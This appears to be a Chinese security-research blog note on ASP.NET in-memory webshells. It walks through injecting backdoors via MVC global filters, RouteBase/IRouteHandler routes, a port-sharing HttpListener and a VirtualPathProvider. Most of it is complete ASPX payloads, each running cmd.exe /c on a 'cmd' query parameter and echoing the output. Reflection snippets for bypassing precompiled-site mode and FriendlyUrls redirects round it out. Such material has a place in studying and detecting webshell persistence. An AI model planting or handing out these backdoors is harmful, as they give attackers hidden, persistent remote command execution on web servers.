ASP.NET 内存马 (Filter/Route/HttpListener/VirtualPath)
学习 @yzddmr6 师傅的文章
Filter
https://learn.microsoft.com/zh-cn/aspnet/core/mvc/controllers/filters
https://learn.microsoft.com/zh-cn/aspnet/mvc/overview/older-versions-1/controllers-and-routing/understanding-action-filters-cs
https://www.cnblogs.com/xiaoxiaotank/p/15622083.html
https://tttang.com/archive/1408/
ASP.NET MVC 项目根目录的 Global.asax.cs 会在应用首次启动时注册 Area, Filter, Route, Bundle
- Area: 区域 (路由的命名空间)
- Filter: 筛选器
- Route: 路由
- Bundle: 静态资源
GlobalFilters.Filters
其 Filters 属性为 GlobalFilterCollection 类型
直接提供了 Add 的两个重载方法用于动态添加自定义 Filter
其中 order 为筛选器的运行顺序, 数值低的优先执行
ASP.NET MVC 框架支持四种不同类型的筛选器:
- 授权筛选器: 实现 IAuthorizationFilter 接口
- 操作筛选器: 实现 IActionFilter 接口
- 结果筛选器: 实现 IResultFilter 接口
- 异常筛选器: 实现 IExceptionFilter 接口
IAuthorizationFilter 总是最先被执行, 因此选择实现该接口, 并设置 Order 属性使得恶意 Filter 的顺序为第一位 (默认为 -1, 因此设置成比 -1 更小的整数)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.Web.Mvc" %>
<script runat="server">
class EvilFilter : IAuthorizationFilter
{
public void OnAuthorization(AuthorizationContext filterContext)
{
HttpRequestBase request = filterContext.HttpContext.Request;
HttpResponseBase response = filterContext.HttpContext.Response;
String cmd = request.QueryString.Get("cmd");
if (!String.IsNullOrEmpty(cmd))
{
ProcessStartInfo info = new ProcessStartInfo();
info.FileName = "cmd.exe";
info.Arguments = "/c " + cmd;
info.UseShellExecute = false;
info.RedirectStandardOutput = true;
info.RedirectStandardError = true;
Process p = new Process();
p.StartInfo = info;
p.Start();
string result = p.StandardError.ReadToEnd() + p.StandardOutput.ReadToEnd();
response.Write(result);
response.End();
}
}
}
</script>
<%
GlobalFilterCollection filters = GlobalFilters.Filters;
filters.Add(new EvilFilter(), -2);
%>
|
注意点:
- 不能为某一路由单独设置 Filter, 只能将 Filter 作用于所有路由 (IAuthorizationFilter)
- 与 Tomcat Filter 的责任链模式不同, 无需显式调用
filter.doFilter方法
- 只能访问已存在的路由从而触发 Filter
- 依赖 System.Web.Mvc.dll, 仅适用于 .NET MVC 项目
Route
https://learn.microsoft.com/zh-cn/dotnet/api/system.web.routing?view=netframework-3.5
https://tttang.com/archive/1420/
MVC 应用的 Route 注册逻辑
routes 为 RouteCollection 类的实例, 其内部通过 Dictionary 存储 route 信息
Add 时的 name 仅用于判断 route 是否重复, route 为 RouteBase 类的实例
两种方式注入内存马: RouteBase/Route
RouteBase
继承 RouteBase 类时需要实现 GetRouteData 和 GetVirtualPath 两个方法
优先级: GetRouteData > Controller > GetVirtualPath
1
2
3
|
GetRouteData
HomeController Index
GetVirtualPath
|
注意自定义的 EvilRouteBase 得插入到 RouteCollection 的第一位, 否则无法匹配
限制: 必须得访问已存在的路由才能触发 RouteBase 的逻辑
GetRouteData
这里有三种方法获取 Requet 和 Response 对象
- 反射 HttpContextBase (HttpContextWrapper)
- 使用 HttpContext.Current 静态属性从当前线程中获取 HttpContext
- 直接使用门面模式的 HttpRequestBase 和 HttpResponseBase
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
|
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.Reflection" %>
<%@ Import Namespace="System.Web.Routing" %>
<script runat="server">
class EvilRouteBase : RouteBase
{
public override RouteData GetRouteData(HttpContextBase httpContext)
{
// 1. 反射获取 HttpContext, HttpRequest, HttpResponse
HttpContext context = (HttpContext) typeof(HttpContextWrapper)?
.GetField("_context", BindingFlags.Instance | BindingFlags.NonPublic)?
.GetValue(httpContext);
HttpRequest request = context?.Request;
HttpResponse response = context?.Response;
// 2. 使用 HttpContext.Current 属性获取 HttpContext
// HttpContext context = HttpContext.Current;
// HttpRequest request = context.Request;
// HttpResponse response = context.Response;
// 3. 直接使用 Wrapper
// HttpRequestBase request = httpContext.Request;
// HttpResponseBase response = httpContext.Response;
String cmd = request?.QueryString.Get("cmd");
if (!String.IsNullOrEmpty(cmd))
{
ProcessStartInfo info = new ProcessStartInfo();
info.FileName = "cmd.exe";
info.Arguments = "/c " + cmd;
info.UseShellExecute = false;
info.RedirectStandardOutput = true;
info.RedirectStandardError = true;
Process p = new Process();
p.StartInfo = info;
p.Start();
string result = p.StandardError.ReadToEnd() + p.StandardOutput.ReadToEnd();
response.Write(result);
response.End();
}
return null;
}
public override VirtualPathData GetVirtualPath(RequestContext requestContext, RouteValueDictionary values)
{
return null;
}
}
</script>
<%
RouteCollection routes = RouteTable.Routes;
routes.Insert(0, new EvilRouteBase()); // 将 Route 添加到第一位
%>
|
GetVirtualPath
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.Web.Routing" %>
<script runat="server">
class EvilRouteBase : RouteBase
{
public override RouteData GetRouteData(HttpContextBase httpContext)
{
return null;
}
public override VirtualPathData GetVirtualPath(RequestContext requestContext, RouteValueDictionary values)
{
HttpContext context = HttpContext.Current;
HttpRequest request = context.Request;
HttpResponse response = context.Response;
String cmd = request?.QueryString.Get("cmd");
if (!String.IsNullOrEmpty(cmd))
{
ProcessStartInfo info = new ProcessStartInfo();
info.FileName = "cmd.exe";
info.Arguments = "/c " + cmd;
info.UseShellExecute = false;
info.RedirectStandardOutput = true;
info.RedirectStandardError = true;
Process p = new Process();
p.StartInfo = info;
p.Start();
string result = p.StandardError.ReadToEnd() + p.StandardOutput.ReadToEnd();
response.Write(result);
response.End();
}
return null;
}
}
</script>
<%
RouteCollection routes = RouteTable.Routes;
routes.Insert(0, new EvilRouteBase()); // 将 Route 添加到第一位
%>
|
Route
实例化 Route 时需要指定 IRouteHandler, 其 GetHttpHandler 方法用于返回 IHttpHandler
需要注意 MVC 应用默认会注册 Url 为{controller}/{action}/{id}的路由规则, 自定义 Route 的 Url 必须设置为为evil{name}的形式, 否则会污染原有页面的路由
访问 /evil123 触发自定义 Route
IRouteHandler
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
|
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.Web.Routing" %>
<script runat="server">
class EvilRouteHandler : IRouteHandler
{
public IHttpHandler GetHttpHandler(RequestContext requestContext)
{
HttpContext httpContext = HttpContext.Current;
HttpRequest request = httpContext.Request;
HttpResponse response = httpContext.Response;
String cmd = request?.QueryString.Get("cmd");
if (!String.IsNullOrEmpty(cmd))
{
ProcessStartInfo info = new ProcessStartInfo();
info.FileName = "cmd.exe";
info.Arguments = "/c " + cmd;
info.UseShellExecute = false;
info.RedirectStandardOutput = true;
info.RedirectStandardError = true;
Process p = new Process();
p.StartInfo = info;
p.Start();
string result = p.StandardError.ReadToEnd() + p.StandardOutput.ReadToEnd();
response.Write(result);
response.End();
}
return null;
}
}
</script>
<%
RouteCollection routes = RouteTable.Routes;
Route route = new Route("evil{name}", new EvilRouteHandler());
routes.Insert(0, route); // 将 Route 添加到第一位
%>
|
IHttpHandler
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
|
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.Web.Routing" %>
<script runat="server">
class EvilRouteHandler : IRouteHandler
{
public IHttpHandler GetHttpHandler(RequestContext requestContext)
{
return new EvilHttpHandler();
}
}
class EvilHttpHandler : IHttpHandler
{
public void ProcessRequest(HttpContext context)
{
HttpRequest request = context.Request;
HttpResponse response = context.Response;
String cmd = request?.QueryString.Get("cmd");
if (!String.IsNullOrEmpty(cmd))
{
ProcessStartInfo info = new ProcessStartInfo();
info.FileName = "cmd.exe";
info.Arguments = "/c " + cmd;
info.UseShellExecute = false;
info.RedirectStandardOutput = true;
info.RedirectStandardError = true;
Process p = new Process();
p.StartInfo = info;
p.Start();
string result = p.StandardError.ReadToEnd() + p.StandardOutput.ReadToEnd();
response.Write(result);
response.End();
}
}
public bool IsReusable { get; }
}
</script>
<%
RouteCollection routes = RouteTable.Routes;
Route route = new Route("evil{name}", new EvilRouteHandler());
routes.Insert(0, route); // 将 Route 添加到第一位
%>
|
HttpListener
https://learn.microsoft.com/zh-cn/dotnet/api/system.net.httplistener
https://tttang.com/archive/1451/
HttpListener 位于 System.Net 命名空间, 用于启动一个简单的 Web Server (类似 Python 的 http.server)
HttpListener 支持端口复用, 可用于内存马注入或权限维持 (80 端口复用需要 System 权限)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
|
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Net" %>
<%@ Import Namespace="System.Threading" %>
<script runat="server">
static void StartHttpListener(object url)
{
HttpListener httpListener = new HttpListener();
httpListener.Prefixes.Add((string) url + "/evil/");
httpListener.Start();
Console.WriteLine("Listening...");
while (true)
{
HttpListenerContext context = httpListener.GetContext();
HttpListenerRequest request = context.Request;
HttpListenerResponse response = context.Response;
Console.WriteLine("Receive request: " + request.Url);
String cmd = request.QueryString.Get("cmd");
if (!String.IsNullOrEmpty(cmd))
{
ProcessStartInfo info = new ProcessStartInfo();
info.FileName = "cmd.exe";
info.Arguments = "/c " + cmd;
info.UseShellExecute = false;
info.RedirectStandardOutput = true;
info.RedirectStandardError = true;
Process p = new Process();
p.StartInfo = info;
p.Start();
if (!p.WaitForExit(10*1000))
{
p.Kill();
}
string result = p.StandardError.ReadToEnd() + p.StandardOutput.ReadToEnd();
byte[] buffer = Encoding.Default.GetBytes(result);
response.ContentLength64 = buffer.Length;
using (Stream output = response.OutputStream)
{
output.Write(buffer, 0, buffer.Length);
}
}
}
}
</script>
<%
string url = Request.Url.Scheme + "://" + Request.Url.Host + ":" + Request.Url.Port;
Thread t = new Thread(StartHttpListener);
t.Start(url);
%>
|
注意 HttpListenerContext, HttpListenerRequest, HttpListenerResponse 与 ASP.NET 中的 HttpContext, HttpRequest, HttpResponse 不同, 前者的实现更为底层, 不支持某些功能, 例如 POST 表单和 Session
在 HttpListener 内获取的 HttpContext.Current 为 null, 有两种解决办法:
- 通过 Thread 启动时传递当前 ASP.NET 线程的 HttpContext 引用至 HttpListener
- 手动根据 HttpListenerRequest, HttpListenerResponse 构造完整的 HttpRequest, HttpResponse
VirtualPath
https://learn.microsoft.com/zh-cn/dotnet/api/system.web.hosting.virtualpathprovider
https://tttang.com/archive/1488/
类 VirtualPathProvider 提供了一组用于实现 Web 应用程序的虚拟文件系统的方法. 在虚拟文件系统中, 文件和目录由服务器操作系统提供的文件系统以外的数据存储进行管理. 例如, 可以使用虚拟文件系统将内容存储在 SQL Server 数据库中.
VirtualPathProvider 的全限定类名为 System.Web.Hosting.VirtualPathProvider, 简单来说就是可以将路由映射到某个物理上不存在的文件, 即虚拟文件
通过HostingEnvironment.RegisterVirtualPathProvider方法注册 VirtualPathProvider
继承 VirtualPathProvider 抽象类时必须实现两个方法
- FileExists: 判断请求的文件是否属于虚拟文件, 即是否命中该 VirtualPathProvider, 类似 urlPattern
- GetFile: 从虚拟文件系统中获取虚拟文件, 返回一个 VirtualFile 对象
继承 VirtualFile 抽象类时必须实现 Open 方法, 该方法返回一个 Stream, 包含虚拟文件的源码 (例如 ASPX Webshell)
VirtualPathProvider 的注册流程使用单向链表结构, 即把当前指针指向新注册的 VPP, 然后把该 VPP 内部的 previous 指针指向上一个 VPP (即 HostingEnvironment 指向 VPP 指针的 Old Value)
另外 VirtualPathProvider 好像有生命周期
https://learn.microsoft.com/zh-cn/dotnet/api/system.runtime.remoting.lifetime.lifetimeservices
需要调用VirtualPathProvider.InitializeLifetimeService方法, 防止创建租约 (即使得生命周期无限长), 以防止被 GC 回收
https://learn.microsoft.com/zh-cn/dotnet/api/system.web.hosting.virtualpathprovider.initializelifetimeservice?view=netframework-4.8.1#system-web-hosting-virtualpathprovider-initializelifetimeservice
但是根据官方的文档来看好像并不需要去手动调用
VirtualFile
按照官方文档的要求实现 VirtualPathProvider 和 VirtualFile 抽象类, 增加内存马逻辑
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
|
<%@ Page Language="C#" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Web.Hosting" %>
<script runat="server">
class EvilPathProvider : VirtualPathProvider
{
private readonly string _virtualPath;
private readonly string _fileContent;
public EvilPathProvider(string virtualPath, string fileContent)
{
_virtualPath = virtualPath;
_fileContent = fileContent;
}
public override bool FileExists(string virtualPath)
{
if (virtualPath.EndsWith(_virtualPath))
{
return true;
}
return Previous.FileExists(virtualPath);
}
public override VirtualFile GetFile(string virtualPath)
{
if (virtualPath.EndsWith(_virtualPath))
{
return new EvilVirtualFile(_virtualPath, _fileContent);
}
return Previous.GetFile(virtualPath);
}
}
class EvilVirtualFile : VirtualFile
{
private readonly string _fileContent;
public EvilVirtualFile(string virtualPath, string fileContent) : base(virtualPath)
{
_fileContent = fileContent;
}
public override Stream Open()
{
MemoryStream mem = new MemoryStream(Encoding.Default.GetBytes(_fileContent));
return mem;
}
}
</script>
<%
string fileContent = File.ReadAllText(Context.Server.MapPath("/Shell.aspx"));
EvilPathProvider evilPathProvider = new EvilPathProvider("/Evil.aspx", fileContent);
HostingEnvironment.RegisterVirtualPathProvider(evilPathProvider);
evilPathProvider.InitializeLifetimeService();
%>
|
参考文章和 ysoserial.net 的 GhostWebShell 都使用了 VirtualPathUtility 工具类以将 VirtualPath 转换为 RelativePath
但如果只是在特定路由注入内存马的话, 目前没发现 VirtualPath 和 RelativePath 的区别, 感觉都差不多
virtualPath 的路径类似~/a/b.aspx, 通过 EndsWith 简单匹配即可
GetCacheKey/FileExists
内存马的本质是向某个可以在每次请求时都被触发的位置插入自定义逻辑, 因此可以不用实现上述的 VirtualFile, 直接在 GetCacheKey/FileExists 甚至其它方法内部插入内存马
- GetCacheKey: 访问已存在的文件时才能触发
- FileExists: 访问存在/不存在的文件时都能触发
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
|
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.Web.Hosting" %>
<script runat="server">
class EvilPathProvider : VirtualPathProvider
{
// 访问已存在的文件时才能触发
public override string GetCacheKey(string virtualPath)
{
HttpContext context = HttpContext.Current;
HttpRequest request = context.Request;
HttpResponse response = context.Response;
string cmd = request.QueryString.Get("cmd");
if (!String.IsNullOrEmpty(cmd))
{
string result = Exec(cmd);
response.Write(result);
response.End();
}
return Previous.GetCacheKey(virtualPath);
}
// 访问存在/不存在的文件时都能触发
// public override bool FileExists(string virtualPath)
// {
// HttpContext context = HttpContext.Current;
// HttpRequest request = context.Request;
// HttpResponse response = context.Response;
//
// string cmd = request.QueryString.Get("cmd");
//
// if (!String.IsNullOrEmpty(cmd))
// {
// string result = Exec(cmd);
// response.Write(result);
// response.End();
// }
//
// return Previous.FileExists(virtualPath);
// }
public string Exec(string cmd)
{
ProcessStartInfo info = new ProcessStartInfo();
info.FileName = "cmd.exe";
info.Arguments = "/c " + cmd;
info.UseShellExecute = false;
info.RedirectStandardOutput = true;
info.RedirectStandardError = true;
Process p = new Process();
p.StartInfo = info;
p.Start();
string result = p.StandardError.ReadToEnd() + p.StandardOutput.ReadToEnd();
return result;
}
}
</script>
<%
EvilPathProvider evilPathProvider = new EvilPathProvider();
HostingEnvironment.RegisterVirtualPathProvider(evilPathProvider);
evilPathProvider.InitializeLifetimeService();
%>
|
绕过预编译模式
如果部署预编译网站, 则不会为编译实例提供 VirtualPathProvider 的内容, 并且预编译站点不会使用任何 VirtualPathProvider 实例.
在调用 RegisterVirtualPathProvider 方法注册 VirtualPathProvider 时会判断是否为预编译模式
可以简单的通过反射修改这两个值以绕过预编译模式的限制
流程:
- 获取
_theBuildManager
- 获取
_isPrecompiledAppComputed和_isPrecompiledApp
- 判断
_isPrecompiledApp的值, 如果为 true, 则将_isPrecompiledAppComputed设置为 true, 将_isPrecompiledApp设置为 false
注意也需要修改_isPrecompiledAppComputed, 具体原因看上图, 为 false 的话则会重新判断当前网站是否处于预编译模式并将返回值赋给_isPrecompiledApp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Reflection" %>
<%@ Import Namespace="System.Web.Compilation" %>
<%
FieldInfo theBuildManagerField = typeof(BuildManager).GetField("_theBuildManager", BindingFlags.Static | BindingFlags.NonPublic);
FieldInfo isPrecompiledAppField = typeof(BuildManager).GetField("_isPrecompiledApp", BindingFlags.Instance | BindingFlags.NonPublic);
FieldInfo isPrecompiledAppComputedField = typeof(BuildManager).GetField("_isPrecompiledAppComputed", BindingFlags.Instance | BindingFlags.NonPublic);
BuildManager theBuildManager = (BuildManager) theBuildManagerField.GetValue(null);
bool isPrecompiledApp = (bool) isPrecompiledAppField.GetValue(theBuildManager);
if (isPrecompiledApp)
{
isPrecompiledAppField.SetValue(theBuildManager, false);
isPrecompiledAppComputedField.SetValue(theBuildManager, true);
}
%>
|
感觉好像也可以直接用反射调用 RegisterVirtualPathProviderInternal
绕过 FriendlyUrls
FriendlyUrls 是一项非常古老的技术 (2013 年), 用于将 Web Forms 网站的路由更改为类似 MVC 的风格, 即去除路由的 .aspx 后缀, 同时提供了一些类似 Path Variables 的性质
安装 Microsoft.AspNet.FriendlyUrls.CoreNuGet 包
然后在App_Start/RouteConfig.cs增加如下内容
1
2
3
4
5
6
|
// routes.EnableFriendlyUrls();
routes.EnableFriendlyUrls(new FriendlyUrlSettings()
{
AutoRedirectMode = RedirectMode.Permanent
});
|
注意如果为 MVC 应用, 会有一个默认的 MapRoute 规则, 需要将 EnableFriendlyUrls 增加到该规则上方, 否则原有的 MVC 路由会失效
FriendlyUrls 可以配置为是否启用自动重定向 (AutoRedirectMode)
- 未启用, 则 VirtualFile 内存马正常工作
- 已启用, 则 VirtualFile 内存马的路由
/Evil.aspx无法正常访问 (更改为/Evil也一样)
该配置主要影响 VirtualFile 内存马 (GhostWebShell), GetCacheKey/FileExists 内存马不受影响
EnableFriendlyUrls 的逻辑就是将 FriendlyUrlRoute 添加至 RouteTable.Routes
绕过方式: 通过反射关闭 FriendlyUrls 的 AutoRedirectMode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Reflection" %>
<%@ Import Namespace="System.Web.Routing" %>
<%@ Import Namespace="Microsoft.AspNet.FriendlyUrls" %>
<%
foreach (var route in RouteTable.Routes)
{
if (route.GetType().FullName == "Microsoft.AspNet.FriendlyUrls.FriendlyUrlRoute")
{
var settingsField = route.GetType().GetProperty("Settings", BindingFlags.Instance | BindingFlags.Public);
var settings = new FriendlyUrlSettings()
{
AutoRedirectMode = RedirectMode.Off
};
settingsField?.SetValue(route, settings);
}
}
%>
|
不过我这边本地测试好像没用? 不知道什么原因